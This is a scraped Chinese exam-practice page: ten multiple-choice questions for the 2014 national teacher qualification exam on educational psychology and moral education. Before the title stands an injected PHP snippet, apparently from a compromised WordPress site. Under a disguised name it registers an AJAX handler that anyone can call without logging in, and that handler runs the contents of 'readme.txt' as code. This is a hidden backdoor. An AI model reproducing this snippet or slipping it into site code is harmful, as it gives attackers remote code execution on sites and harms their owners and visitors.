if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20140807】教师资格统考每日一练-全国教师资格考试网
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【20140807】教师资格统考每日一练

来源： 国家教师资格考试网
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1.“外行看热闹，内行看门道”体现的是知觉的( )。

A.选择性
B.整体性
C.理解性
D.恒常性

2.幼儿的思维活动往往是在实际操作中，借助触摸、摆弄物体而产生和进行的。这种思维方式是( )。

A.经验思维
B.具体形象思维
C.抽象逻辑思维
D.直观动作思维

3.个体在3—6岁处于( )。

A.童年期
B.幼儿期
C.少年期
D.青年期

4.学校通过美化校园环境，“让一草一木、一砖一石都发挥教育影响”，以培养学生品质的方法是：

A.榜样示范法
B.陶冶教育法
C.说服教育法
D. 生态教育法

5.天空中过往飞机的轰鸣引起儿童不由自主的注意，这是( )。

A.有意注意
B.无意注意
C.有意后注意
D.选择性注意

6.“一把钥匙开一把锁”体现的是德育的( )。

A.疏导原则
B.循序渐进原则

C.平行教育原则
D.因材施教原则

7.“成熟决定论”的代表人物是( )。

A.格赛尔
B.杜威
C.华生
D.霍尔

8.没有固定的访谈问题，研究者鼓励受访者用自己的语言表达自己的看法，形式灵活的访谈属于( )。

A.封闭型访谈
B.开放型访谈
C.半开放访谈
D.半结构访谈

9.个体身心发展的不均衡性要求( )

A.教育教学工作要抓关键期
B.教育工作要循序渐进

C.因材施教，有的放矢
D.教育工作要根据不同年龄分阶段进行

10.孔子说“学而不思则罔，思而不学则殆”，这表明孔子强调( )。

A.因材施教
B.知行统一
C.学思结合
D.启发教学

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